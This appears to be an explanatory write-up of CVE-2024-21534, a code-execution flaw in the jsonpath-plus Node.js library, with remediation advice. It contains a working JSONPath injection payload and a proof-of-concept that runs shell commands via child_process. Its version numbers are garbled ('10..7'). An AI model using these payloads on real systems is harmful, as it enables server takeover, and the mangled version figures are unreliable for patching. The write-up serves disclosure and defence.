jsonpath-plus is a popular Node.js library for evaluating JSONPath expressions over JSON data. It's widely used in projects needing powerful querying capabilities for JSON. However, between versions before 10..7, a critical security issue—CVE-2024-21534—put users at risk of Remote Code Execution (RCE) attacks.
This long read walks you through the vulnerability, how attackers can exploit it, remediation steps, and links to more technical details.
What Is CVE-2024-21534?
CVE-2024-21534 is a vulnerability in the jsonpath-plus package (versions before 10..7). The bug allows attackers to run system commands just by crafting certain JSONPath expressions. This happens because the library uses Node’s vm module to evaluate parts of a query—without enough sanitization.
In plain words: if an attacker controls input to jsonpath-plus, they can make your server run whatever code they want.
References
- NVD Entry
- jsonpath-plus Issue #226
How Does the Exploit Work?
The root problem is that jsonpath-plus evaluates JSONPath expressions in a Node vm "sandbox". But this "sandbox" isn’t actually secure for untrusted code and can be bypassed if not tightly controlled.
If untrusted users can send JSONPath queries, they may inject code that gets evaluated. The original attempt to fix this (commit 6b2f1b4) in 10.. wasn’t bulletproof, because attackers found ways to bypass the filter with clever payloads.
The "vm" module was used like this (simplified)
const vm = require('vm');
function evaluateExpression(exp, context) {
const script = new vm.Script(exp); // (exp comes from user input!)
const sandbox = { ...context };
return script.runInNewContext(sandbox);
}
Here, anything in exp gets evaluated as real JavaScript. There isn't enough filtering to prevent malicious code.
Example Exploit
Suppose you have an API where a user can POST a JSONPath expression. An attacker might send something like:
$..[(@.constructor.constructor('process.mainModule.require("child_process").execSync("whoami")')())]
If this is evaluated by vulnerable jsonpath-plus, it will execute whoami on your system. That’s because:
Proof of Concept
const {JSONPath} = require('jsonpath-plus');
const data = {foo: 'bar'};
const path = "$..[(@.constructor.constructor('require(\"child_process\").execSync(\"ls /tmp\").toString()')())]"
console.log(JSONPath({path, json: data}));
// Output: The list of files in /tmp, showing code execution
How Was It Patched?
- After many attempts and payloads (see discussion), the library’s authors finally rewrote the way dynamic code is run.
Version 10..7 updates how expressions are evaluated, blocking arbitrary code execution.
If you’re on 10..6 or earlier, you are vulnerable—even if you upgraded to 10../10..1.
Any app that exposes jsonpath-plus to user input, directly or indirectly.
- Often happens in development tools, admin dashboards, API gateways, or any place where users can supply JSONPath expressions.
If the JSONPath comes from inside your code, you’re okay. If it comes from the user (even in rare cases), patch now.
Update immediately to version 10..7 or higher
npm install jsonpath-plus@latest
Or, in package.json
"dependencies": {
"jsonpath-plus": "^10..7"
}
Defense in Depth: Other Tips
- Never trust user input! Don’t let users send arbitrary query expressions unless you know the library is secure.
- Restrict functionality: If you allow JSONPath, blacklist weird constructs (like constructor or require) at the API layer as an extra guard.
Further References & Discussions
- Official jsonpath-plus advisory
- Payload bypassing initial fix
- Attempted fix in 10.. commit
Timeline
Published on: 10/11/2024 13:15:15 UTC
Last modified on: 10/20/2024 12:15:02 UTC